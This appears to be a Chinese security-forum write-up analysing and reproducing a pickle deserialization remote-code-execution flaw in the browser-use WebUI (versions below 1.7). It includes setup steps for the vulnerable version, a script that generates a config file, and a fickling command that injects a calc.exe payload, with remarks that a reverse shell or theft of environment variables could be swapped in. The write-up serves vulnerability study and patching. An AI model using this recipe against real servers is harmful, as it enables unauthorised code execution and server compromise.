问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
【热点】browser-use WebUI pickle 反序列化漏洞分析与复现
渗透测试
browser-use WebUI是基于browser-use的AI Agent应用,存在一个pickle反序列化漏洞,未经授权的远程攻击者可以利用该接口发送恶意的序列化数据,实现在服务端执行任意代码,导致服务器失陷。
一、漏洞简介 ====== browser-use WebUI是基于browser-use的AI Agent应用。upload存在一个pickle反序列化漏洞,未经授权的远程攻击者可以利用该接口发送恶意的序列化数据,实现在服务端执行任意代码,导致服务器失陷。 二、影响版本 ====== 小于 1.7 版本。 在1.7 版本中已经修复。 三、漏洞原理分析 ======== web-ui 有个功能叫 `Load Configuration`,可以让用户上传 `.pkl` 配置文件。 但是,它上传后,直接用 `pickle.load()` 反序列化了,没有做任何检查:  四、环境搭建 ====== 条件:python11及以上版本 新建一个目录:WebUI 在这个目录中打开cmd,克隆仓库:`git clone <https://github.com/browser-use/web-ui.git`> 进入安装目录:`cd web-ui` 切换到1.4版本:`git checkout v1.4` 一定要切换版本,最新版已经修复了,在webui的目录下执行命令:`git describe --tags` 这个命令会输出你当前所在的 版本 tag(如果在 tag 上),或显示你基于哪个 tag 派生出来的。  官方建议使用 uv 来管理 Python 环境。 安装 uv:`pip install uv` 使用 uv:`uv venv --python 3.11` 激活虚拟环境:`.venv\\Scripts\\activate`  在安装依赖前需要做一些改动。按照直接 clone 下来的 requirements ,最后启动的时候会一直报错错:`TypeError: argument of type 'bool' is not iterable` 反复试了很多次,最后自己摸索出来的解决办法是修改 requirements.txt 文件,将 gradio 的版本改为 5.23.1:`gradio==5.23.1` (在虚拟环境中)安装python依赖:`uv pip install -r requirements.txt` 在 Windows 的 cmd 命令行中,进入 Python 虚拟环境后的标志通常是在命令行提示符前面看到虚拟环境的名称。前面的 `(web-ui)` 表示你当前已经激活了名为 `web-ui` 的虚拟环境(名称取决于你创建虚拟环境时使用的名字),后是你当前所在的目录路径:  安装浏览器运行环境:`playwright install` (在虚拟环境中)配置环境:`copy .env.example .env` 配置文件 `.env` ,可以在里面修改浏览器的地址,设置各种 api 等。 (在虚拟环境中)启用 WebUI:`python webui.py --ip 192.168.119.1 --port 7788` 五、漏洞复现 ====== 1. 生成常规的 pickle 配置文件 -------------------- 先构建一个常规的 pickle 配置文件: 构建的脚本如下,保存成 `webui.py` : ```python import pickle import uuid import os def default_config(): """Prepare the default configuration""" return { "agent_type": "custom", "max_steps": 100, "max_actions_per_step": 10, "use_vision": True, "tool_calling_method": "auto", "llm_provider": "openai", "llm_model_name": "gpt-4o", "llm_temperature": 1.0, "llm_base_url": "", "llm_api_key": "", "use_own_browser": os.getenv("CHROME_PERSISTENT_SESSION", "false").lower() == "true", "keep_browser_open": False, "headless": False, "disable_security": True, "enable_recording": True, "window_w": 1280, "window_h": 1100, "save_recording_path": "./tmp/record_videos", "save_trace_path": "./tmp/traces", "save_agent_history_path": "./tmp/agent_history", "task": "go to google.com and type 'OpenAI' click search and give me the first url", } def load_config_from_file(config_file): """Load settings from a UUID.pkl file.""" try: with open(config_file, 'rb') as f: settings = pickle.load(f) return settings except Exception as e: return f"Error loading configuration: {str(e)}" def save_config_to_file(settings, save_dir="./tmp/webui_settings", name=None): """Save the current settings to a UUID.pkl file with a UUID name.""" os.makedirs(save_dir, exist_ok=True) outname = f"{uuid.uuid4()}.pkl" if name is not None: outname = name config_file = os.path.join(save_dir, outname) with open(config_file, 'wb') as f: pickle.dump(settings, f) return f"Configuration saved to {config_file}" def update_ui_from_config(loaded_config): if isinstance(loaded_config, dict): print("load success") return loaded_config.get("agent_type", "custom") else: pass print("not a dict object") return "foobar" if __name__ == "__main__": save_config_to_file(default_config(), save_dir=".", name="default.pkl") ``` 执行 python 文件:`python3 webui.py` 在当前目录下会生成一个文件 default.pkl ,这一步的作用是 用 web-ui 自带的脚本生成一个正常的 `.pkl` 文件,这样就不用自己去研究 web-ui 要求什么结构的 pkl 文件,直接用它原来的正常的结构来生成。所以,default.pkl 是一个正常的,干净的配置文件。 2. 使用 fickling 注入恶意代码 --------------------- 需要先安装工具 `fickling` 。Linux 和 Windows 都可以安装:`uv tool install git+https://github.com/trailofbits/fickling` ```python D:\\WebUI\\web-ui>uv tool install git+https://github.com/trailofbits/fickling Updated <https://github.com/trailofbits/fickling> (18d4b93d033925fce1ee1ced81e76386b515aade) Resolved 5 packages in 1.35s Built fickling @ git+https://github.com/trailofbits/fickling@18d4b93d033925fce1ee1ced81e76386b515aade Prepared 5 packages in 903ms Installed 5 packages in 29ms + astunparse==1.6.3 + fickling==0.1.3 (from git+https://github.com/trailofbits/fickling@18d4b93d033925fce1ee1ced81e76386b515aade) + six==1.17.0 + stdlib-list==0.10.0 + wheel==0.45.1 Installed 1 executable: fickling.exe warning: C:\\Users\\你的username\\.local\\bin is not on your PATH. To use installed tools, run set PATH="C:\\\\Users\\\\你的username\\\\.local\\\\bin;%PATH%" or uv tool update-shell. ``` 最后一行有个 warning,这个警告的意思是,安装的可执行文件 `fickling.exe` 被放置在 `C:\\Users\\你的username\\.local\\bin` 目录下,但是该目录没有添加到系统的 `PATH` 环境变量中。为了能够直接在命令行中使用 `fickling` 命令,你需要将这个路径添加到你的 `PATH` 环境变量。这里有三种思路: 1. 临时设置环境变量,关闭当前 cmd 窗口后就会失效: 1. 方法一:在当前的 cmd 窗口中执行 warning 中提示的命令:`set PATH="C:\\\\Users\\\\你的username\\\\.local\\\\bin;%PATH%"` 2. 方法二:使用 uv 命令自动更新 shell 环境,这会自动将相关目录添加到 `PATH` 中,便于使用,在当前的 cmd 窗口中执行 warning 中提示的命令:`uv tool update-shell` 2. 永久添加环境变量: 1. 常规的,在系统变量的 Path 中添加这个目录即可。 安装好以后就可以用这个工具将恶意代码注入到 pickle 文件中,比如注入一个简单的 弹计算器命令(Linux/macOS 是 gnome-calculator,Windows 是 calc.exe),或者弹反弹shell。我这里环境搭建在 windows 中,所以是 `calc.exe` 。 注入命令:`fickling --inject "os.system('start calc.exe')" default.pkl > malicious.pkl` 这里也可以换成其他命令,比如反弹 shell,或者上传环境变量等等。 执行完之后,就会生成一个恶意的 pickle 文件 `malicious.pkl` 。 3. 启用本地 WebUI 服务 ---------------- 在虚拟环境中 启用 WebUI:`python webui.py --ip 192.168.119.1 --port 7788` 这样就算是启用成功了:  4. 上传恶意 malicious.pkl 文件 ------------------------ 在浏览器中访问:[](http://192.168.119.1:7788/)<http://192.168.119.1:7788>:  找到 Configuration 功能(配置文件导入/上传按钮),上传你刚刚生成的 `malicious.pkl` 文件,上传以后点击 Load Existing Config From File,即可触发反序列化漏洞,弹出计算器:  六、修复建议 ====== 升级到 1.7 版本。
发表于 2025-05-06 16:25:45
阅读 ( 335 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
reset
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!